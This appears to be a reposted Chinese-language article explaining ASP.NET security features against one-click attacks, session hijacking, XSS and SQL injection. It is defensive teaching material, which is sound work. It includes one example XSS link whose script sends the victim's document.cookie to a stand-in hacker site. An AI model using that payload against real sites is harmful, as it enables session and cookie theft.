利用ASP.NET的內置功能抵禦Web攻擊

ASP.NET開發人員應當始終堅持的做法

如果您正在閱讀本文,可能就不需要再向您灌輸Web應用程序中的安全性愈來愈重要這一事實了。您需要的可能是一些有關如何在ASP.NET應用程序中實現安全性的實際建議。壞消息是,沒有任何開發平臺—包括ASP.NET在內—能夠保證一旦採用了該平臺,您就能夠編寫百分百安全的代碼。誰要是這麼說,一準在撒謊。好消息是,就ASP.NET來說,ASP.NET,特別是版本1.1和即將發行的版本2.0,集成了一些便於使用的內置防禦屏障。

光是應用所有這些功能並不足以保護Web應用程序,使其免受任何可能和可預見的攻擊。但是,如果與其他防禦技巧和安全策略相結合,內置的ASP.NET功能將可以構成一個強大的工具包,有助於確保應用程序在安全的環境中運行。

Web安全性是各種因素的總和,是一種範圍遠超單個應用程序的策略的結果,這種策略涉及數據庫管理、網路配置,以及社會工程和phishing。

本文的目的在於說明ASP.NET開發人員爲了將安全標準保持到合理的高度,所應始終堅持的做法。這也就是安全性最主要的內容:保持警惕,永不完全放鬆,讓壞人越來越難以發起黑客攻擊。

下面我們來看看ASP.NET提供了哪些可以簡化這項工作的功能。

攻擊的可能發起人

回顯到頁的不可信用戶輸入

SQL注入

串連用戶輸入以形成SQL命令

會話劫持

會話ID猜測和失竊的會話IDCookie

一次單擊

通過腳本發送的未被察覺的HTTP張貼

隱藏域篡改

未檢查(且受信)的隱藏域被填充以敏感數據

表1.常見的Web攻擊

列表中顯現出來的關鍵性事實有哪些?在我看來,起碼有以下三點:

無論您何時將何種用戶輸入插入瀏覽器的標記中,您都潛在地將自己暴露在了代碼注入攻擊(任何SQL注入和XSS變種)之下。

必須以安全的方式實現數據庫訪問,就是說,應當爲數據庫使用儘可能少的權限,並通過角色來劃分各個用戶的職責。

永遠都不通過網絡發送敏感數據(更別說是明文了),並且必須以安全的方式將敏感數據存儲在服務器上。

有意思的是,上面的三點分別針對的是Web安全性的三個不同方面,而這三個方面結合起來,纔是唯一的一種生成防攻擊、防篡改應用程序的合理方式。Web安全性的各個層面可以總結如下:

編碼實踐:數據驗證、類型和緩衝區長度檢查,防篡改措施

數據訪問策略:使用決策來保護可能最弱的帳戶,使用存儲過程或者至少是參數化的命令。

有效的存儲和管理:不將關鍵性數據發送到客戶端,使用哈希代碼來檢測操作,對用戶進行身份驗證並保護標識,應用嚴格的密碼策略

如您所看到的,只有可以通過開發人員、架構師和管理員的共同努力,纔可以產生安全的應用程序。請不要假定您能夠以其他方式達到同樣目的。

編寫ASP.NET應用程序時,您並不是獨自面對黑客大軍:唯一的武器是通過自己的大腦、技能和手指鍵入的代碼行。ASP.NET1.1和更高版本都會施加援手,它們具有一些特定的功能,可以自動提高防禦以上列出的某些威脅的屏障。下面我們對它們進行詳細的檢視。

ViewStateUserKey

從ASP.NET1.1開始引入,ViewStateUserKeyPage類的一個字符串屬性,只有很少數開發人員真正熟悉該屬性。爲什麼呢?讓我們看看文檔中是怎麼說的。

在與當前頁相關聯的視圖狀態變量中將一個標識符分配給單個用戶

除了有些累贅,這個句子的意思相當清楚;但是,您能老老實實地告訴我,它說明了該屬性原本的用途嗎?要理解ViewStateUserKey的角色,您需要繼續往下讀,直到Remarks部分。

該屬性有助於防止一次單擊攻擊,因爲它提供了附加的輸入以創建防止視圖狀態被篡改的哈希值。換句話說,ViewStateUserKey使得黑客使用客戶端視圖狀態的內容來準備針對站點的惡意張貼困難了許多。可以爲該屬性分配任何非空的字符串,但最好是會話ID或用戶的ID。爲了更好地理解這個屬性的重要性,下面我們簡短介紹一下一次單擊攻擊的基本知識。

一次單擊攻擊包括將惡意的HTTP表單張貼到已知的、易受攻擊的Web站點。之所以稱爲“一次單擊”,是因爲它通常是以受害者不經意的單擊通過電子郵件發送的或者在擁擠的論壇中瀏覽時發現的誘惑性鏈接而開始的。通過點擊該鏈接,用戶無意中觸發了一個遠程進程,最終導致將惡意的<form>提交到一個站點。大家都坦白些吧:您真能告訴我,您從未因爲好奇而單擊過Clickheretowin$1,000,000這樣的鏈接嗎?顯然,並沒有什麼糟糕的事情發生在您身上。讓我們假定的確是這樣的;您能說Web社區中的所有其他人都倖免於難了嗎?誰知道呢。

要想成功,一次單擊攻擊需要特定的背景條件:

攻擊者必須充分了解該有漏洞的站點。這是可能的,因爲攻擊者可以“勤奮地”研究該文件,或者他/她是一位憤怒的內部人員(例如,被解僱而又不誠實的僱員)。因此,這種攻擊的後果可能是極其嚴重的。

站點必須是使用Cookie(如果是持續性Cookie,效果更好)來實現單次登錄,而攻擊者曾經收到過有效的身份驗證cookie。

該站點的某些用戶進行了敏感的事務。

攻擊者必須能夠訪問目標頁。

前已提及,攻擊包括將惡意的HTTP表單提交到等待表單的頁。可以推知,該頁將使用張貼來的數據執行某些敏感操作。可想而知,攻擊者清楚地瞭解如何使用各個域,並可以想出一些虛假的值來達到他的目的。這通常是目標特定的攻擊,而且由於它所建立的三角關係,很難追本溯源—即黑客誘使受害者單擊該黑客站點上的一個鏈接,而這又會導致惡意代碼被張貼到第三個站點。(請參閱圖1。)


圖1.一次單擊攻擊

爲什麼是不抱懷疑的受害者?這是因爲,這種情況下,服務器日誌中所顯示的發出惡意請求的IP地址,是該受害者的IP地址。如前所述,這種工具並不像“經典”的XSS一樣常見(和易於發起);但是,它的性質決定了它的後果可能是災難性。如何應對它?下面,我們審視一下這種攻擊在ASP.NET環境下的工作機理。

除非操作編碼在Page_Load事件中,否則ASP.NET頁根本不可能在回發事件之外執行敏感代碼。要使回發事件發生,視圖狀態域是必需的。請牢記,ASP.NET會檢查請求的回髮狀態,並根據是否存在_VIEWSTATE輸入域,相應地設置IsPostBack。因此,無論誰要向ASP.NET頁發送虛假請求,都必須提供一個有效的視圖狀態域。

一次單擊攻擊要想得手,黑客必須能夠訪問該頁。此時,有遠見的黑客會在本地保存該頁。這樣,他/她就可以訪問_VIEWSTATE域並使用該域,用舊的視圖狀態和其他域中的惡意值創建請求。問題是,這能行嗎?

爲什麼不能?如果攻擊者可以提供有效的身份驗證cookie,黑客就可以進入,請求將被照常處理。服務器上根本不會檢查視圖狀態內容(當EnableViewStataMac爲off時),或者只會檢查是否被篡改過。默認情況下,試圖狀態中沒有機制可以將該內容與特定的用戶關聯起來。攻擊者可以輕鬆地重用所獲取的視圖狀態,冒充另一個用戶合法地訪問該頁,以生成虛假請求。這正是ViewStateUserKey介入的地方。

如果選擇準確,該屬性可以將用戶特定的信息添加到視圖狀態。處理請求時,ASP.NET會從視圖狀態中提取祕鑰,並將其與正在運行的頁的ViewStateUserKey進行比較。如果兩者匹配,請求將被認爲是合法的;否則將引發異常。對於該屬性,什麼值是有效的?

爲所有用戶將ViewStateUserKey設置爲常量字符串,相當於將它保留爲空。您必須將它設置爲對各個用戶都不同的值—用戶ID,會話ID更好些。由於一些技術和社會原因,會話ID更爲合適,因爲會話ID不可預測,會超時失效,並且對於每個用戶都是不同的。

以下是一些在您的所有頁中都必不可少的代碼:

voidPage_Init(objectsender,EventArgse){ViewStateUserKey=Session.SessionID;:}

爲了避免重複編寫這些代碼,您可以將它們固定在從Page派生的類的OnInit虛擬方法中。(請注意,您必須在Page.Init事件中設置此屬性。)

protectedoverrideOnInit(EventArgse){base.OnInit(e);ViewStateUserKey=Session.SessionID;}

總體說來,使用基page類始終都不失爲一件好事,我在BuildYourASP.NETPagesonaRicherBedrock一文中已經進行了說明。如果您要了解更多有關一次單擊攻擊者的伎倆的信息,可以在aspnetpro.com找到一篇非常好的文章。

會話劫持

Cookie還被用於檢索特定用戶的會話狀態。會話的ID被存儲到cookie中,該cookie與請求一起來回傳送,存儲在瀏覽器的計算機上。同樣,如果失竊,會話cookie將可被用來使黑客進入系統並訪問別人的會話狀態。不用說,只要指定的會話處於活動狀態(通常不超20分鐘),這就有可能發生。通過冒充的會話狀態發起的攻擊稱爲會話劫持。有關會話劫持的詳細信息,請閱讀TheftOnTheWeb:PreventSessionHijacking。

這種攻擊有多危險?很難講。這要取決於Web站點的功能,更爲重要的是,該站點的頁是如何設計的。例如,假定您能夠獲得別人的會話cookie,並將它附加到對站點上某個頁的請求中。您加載該頁並逐步研究它的普通用戶界面。除了該頁使用另一個用戶的會話狀態工作外,您無法將任何代碼注入該頁,也無法修改該頁中的任何內容。這本身並不太壞,但是如果該會話中的信息是敏感和關鍵性的,就有可能直接導致黑客成功實現利用。黑客無法滲透到會話存儲的內容中,但他可以使用其中存儲的信息,就像自己是合法進入的一樣。例如,假定有這樣一個電子商務應用程序,它的用戶在瀏覽站點時將物品添加到購物車中。

方案1。購物車的內容存儲在會話狀態中。但是,在結帳時,用戶被要求通過安全的SSL連接確認和輸入付款詳細信息。這種情況下,通過接入其他用戶的會話狀態,黑客僅可以瞭解到一些有關受害者的購物喜好的細節。在這種環境下劫持實際上並不會導致任何損害。受威脅的只是保密性。

方案2。應用程序爲每位註冊用戶處理一份檔案,並將檔案保存在會話狀態中。糟糕的是,檔案中(可能)包括信用卡信息。爲什麼要將用戶檔案詳細信息存儲到會話中?可能應用程序的其中一個目標是,從根本上避免使用戶不得不重複鍵入自己的信用卡和銀行信息。因此,在結算時,應用程序會將用戶定位到一個具有預先填充的域的頁。而有失謹慎的是,這些域的其中一個是從會話狀態中獲取的信用卡號。現在您可以猜到故事的結局了嗎?

應用程序的頁的設計,是防止會話劫持攻擊的關鍵所在。當然,還有兩點沒有理清。第一點是,如何防止cookie盜竊?第二點是,ASP.NET可以如何檢測和阻止劫持?

ASP.NET會話cookie極其簡單,僅限於包含會話ID字符串本身。ASP.NET運行庫從cookie中提取會話ID,並將其與活動的會話進行比較。如果ID有效,ASP.NET將連接到對應的會話並繼續。這種行爲極大地方便了已經偷到或者可以猜出有效的會話ID的黑客。

XSS和中間人(man-in-the-middle)攻擊以及對客戶端PC的強力訪問,都是獲取有效cookie的方法。爲了防止盜竊,您應當實現安全最佳實踐來防止XSS及其各變種得手。

而爲了防止會話ID猜測,您應當乾脆避免太高估計自己的技能。猜測會話ID意味着您知道如何預測有效的會話ID字符串。對於ASP.NET所使用的算法(15個隨機數字,映射爲啓用URL的字符),隨機猜測到有效ID的概率接近於零。我想不到任何理由來用自己的會話ID生成器替換默認的會話ID生成器。許多情況下,這麼做只會爲攻擊者提供方便。

會話劫持更爲糟糕的後果是一旦cookie被盜或者被猜出,ASP.NET並沒有什麼辦法來檢測欺詐性的cookie使用。同樣,原因是ASP.NET將自己限制爲檢查ID的有效性,以及cookie的來源地。

我在Wintellect的朋友JeffProsise爲MSDNMagazine寫了一篇很好的關於會話劫持的文章。他的結論並不令人安慰:幾乎不可能建立能夠完全抵禦依靠偷來的會話IDCookie所發起的攻擊的防禦工事。但是他開發的代碼爲進一步提升安全標準提供了非常明智的建議。Jeff創建了一個HTTP模塊,該模塊爲會話IDCookie監視傳入的請求和傳出的響應。該模塊將一條哈希代碼附加到會話ID之後,使攻擊者重用cookie更爲困難。您可以在此處閱讀詳情。


圖2.啓用EnableViewStateMac時,使視圖狀態本身難以篡改的因素

啓用了MAC檢查時(默認情況),將對序列化的視圖狀態附加一個哈希值,該值是使用某些服務器端值和視圖狀態用戶祕鑰(如果有)生成的。回發視圖狀態時,將使用新的服務器端值重新計算該哈希值,並將其與存儲的值進行比較。如果兩者匹配,則允許請求;否則將引發異常。即使假設黑客具有破解和重新生成視圖狀態的能力,他/她仍需要知道服務器存儲的值纔可以得出有效的哈希。具體說來,該黑客需要知道machine.config的<machineKey>項中引用的計算機祕鑰。

默認情況下,項是自動生成的,以物理方式存儲在WindowsLocalSecurityAuthority(LSA)中。僅在Web場(此時視圖狀態的計算機祕鑰必須在所有的計算機上都相同)的情形下,您才應當在machine.config文件中將其指定爲明文。

視圖狀態MAC檢查是通過一個名爲EnableViewStateMac@Page指令屬性控制的。如前所述,默認情況下,它被設置爲true。請永遠不要禁用它;否則將會使視圖狀態篡改一次單擊攻擊成爲可能,並具有很高的成功概率。

Cross-siteScriptingOverview中詳細閱讀有關XSS攻擊的基礎知識。

代碼中的哪些漏洞導致XSS攻擊成爲可能?

XSS利用的是動態生成HTML頁、但並不驗證回顯到頁的輸入的Web應用程序。這裏的輸入是指查詢字符串、Cookie和表單域的內容。如果這些內容在未經適當性能檢查的情況下出現在網絡上,就存在黑客對其進行操作以在客戶端瀏覽器中執行惡意腳本的風險。(前面提到的一次單擊攻擊其實是XSS的一種新近變種。)典型的XSS攻擊會導致不抱懷疑的用戶點擊一條誘惑性鏈接,而該鏈接中嵌入了轉義的腳本代碼。欺詐代碼將被髮送到一個存在漏洞且會毫不懷疑地輸出它的頁。以下是可能發生的情況的一個示例:

<ahref="http://www.vulnerableserver.com/brokenpage.aspx?Name=<script>document.location.replace('http://www.hackersite.com/HackerPage.aspx?Cookie='+document.cookie);</script>">Clicktoclaimyourprize</a>

用戶單擊一個看上去明顯安全的鏈接,最終導致將一些腳本代碼傳遞到存在漏洞的頁,這些代碼首先獲取用戶計算機上的所有Cookie,然後將它們發送到黑客的Web站點。

請務必注意,XSS不是一個特定於供應商的問題,因此並不一定會利用InternetExplorer中的漏洞。它影響目前市場上的所有Web服務器和瀏覽器。更應注意的是,沒有哪一個修補程序能夠修復這一問題。您完全可以保護自己的頁免受XSS攻擊,方法是應用特定的措施和合理的編碼實踐。此外,請注意,攻擊者並不需要用戶單擊鏈接就可以發起攻擊。

要防禦XSS,您必須從根本上確定哪些輸入是有效的,然後拒絕所有其他輸入。您可以在一本書中讀到抵禦XSS攻擊的詳細檢查表,該書在Microsoft屬於必讀範圍—WritingSecureCode,作者是MichaelHoward和DavidLeBlanc。特別地,我建議您仔細閱讀第13章。

阻止陰險的XSS攻擊的主要方法是向您的輸入(任何類型的輸入數據)添加一個設計合理、有效的驗證層。例如,某些情況下即使是原本無害的顏色(RGB三色)也會將不受控制的腳本直接帶入頁中。

在ASP.NET1.1中,@Page指令上的ValidateRequest屬性被打開後,將檢查以確定用戶沒有在查詢字符串、Cookie或表單域中發送有潛在危險性的HTML標記。如果檢測到這種情況,將引發異常並中止該請求。該屬性默認情況下是打開的;您無需進行任何操作就可以得到保護。如果您想允許HTML標記通過,必須主動禁用該屬性。

<%@PageValidateRequest="false"%>

ValidateRequest不是萬能的藥方,無法替代有效的驗證層。請閱讀此處以獲取大量有關該功能的基礎原理的寶貴信息。它基本上通過應用一個正則表達式來捕獲一些可能有害的序列。

注ValidateRequest功能原本是有缺陷的,因此您需要應用一個修補程序它才能按預期工作。這樣的重要信息常常不爲人們所注意。奇怪的是,我發現我的其中一臺計算機仍受該缺陷的影響。試試看!

沒有任何關閉ValidateRequest的理由。您可以禁用它,但必須有非常好的理由;其中一條這樣的理由可能是用戶需要能夠將某些HTML張貼到站點,以便得到更好的格式設置選項。這種情況下,您應當限制所允許的HTML標記(<pre><b><i><p><br><hr>)的數目,並編寫一個正則表達式,以確保不會允許或接受任何其他內容。

以下是一些有助於防止ASP.NET遭受XSS攻擊的其他提示:

使用HttpUtility.HtmlEncode將危險的符號轉換爲它們的HTML表示形式。

使用雙引號而不是單引號,這是因爲HTML編碼僅轉義雙引號。

強制一個代碼頁以限制可以使用的字符數。

總之,使用但是不要完全信任ValidateRequest屬性,不要太過懶惰。花些時間,從根本上理解XSS這樣的安全威脅,並規劃以一個關鍵點爲中心的防禦策略:所有的用戶輸入都是危險的。

此處瞭解更多有關SQL注入的信息。

要阻止SQL注入攻擊,有許多方法。以下介紹最常見的技巧。

確保用戶輸入屬於適當的類型,並遵循預期的模式(郵政編碼、身份證號,電子郵件等)。如果預期來自文本框的數字,請在用戶輸入無法轉換爲數字的內容時阻止該請求。

使用參數化的查詢,使用存儲過程更好。

使用SQLServer權限來限制各個用戶可以對數據庫執行的操作。例如,您可能需要禁用xp_cmdshell或者將該操作的權限僅限於管理員。

如果使用存儲過程,可以顯著降低發生這種攻擊的可能性。實際上,有了存儲過程,您就無需動態地撰寫SQL字符串。此外,SQLServer中將驗證所有參數是否具有指定的類型。雖然光是這些並不是百分百安全的技巧,但是加上驗證的話,將足以提高安全性。

更爲重要的是,應確保只有經過授權的用戶才能夠執行可能具有嚴重後果的操作,如刪除表。這要求認真仔細地設計應用程序的中間層。好的技巧(不光是爲了安全性)應把焦點集中在角色上。應當將用戶分組爲各種角色,併爲各個角色定義一個包含一組最少的權限的帳戶。

幾周前,WintellectWeb站點受到一種很複雜的SQL注入的攻擊。那位黑客試圖創建並啓動一個FTP腳本來下載一個可能是惡意的可執行程序。幸運的是,這次攻擊失敗了。或者,其實是強用戶驗證,使用存儲過程和使用SQLServer權限,導致了攻擊未能成功?

總而言之,您應當遵循這些指南,以避免被注入有害的SQL代碼:

使用儘可能少的權限運行,永遠不以“sa”身份執行代碼。

將訪問限制給內置的存儲過程。

首選使用SQL參數化查詢。

不通過字符串串連來生成語句,不回顯數據庫錯誤。

DotNet2TheMaxWeb站點獲得該組件的全部源代碼。

="BORDER-RIGHT:#CCCCCC1PXSOLID">="BORDER-RIGHT:#CCCCCC1PXSOLID">="BORDER-RIGHT:#CCCCCC1PXSOLID">="BORDER-RIGHT:#CCCCCC1PXSOLID">="BORDER-RIGHT:#CCCCCC1PXSOLID">
發佈了129 篇原創文章 · 獲贊 1 · 訪問量 6萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章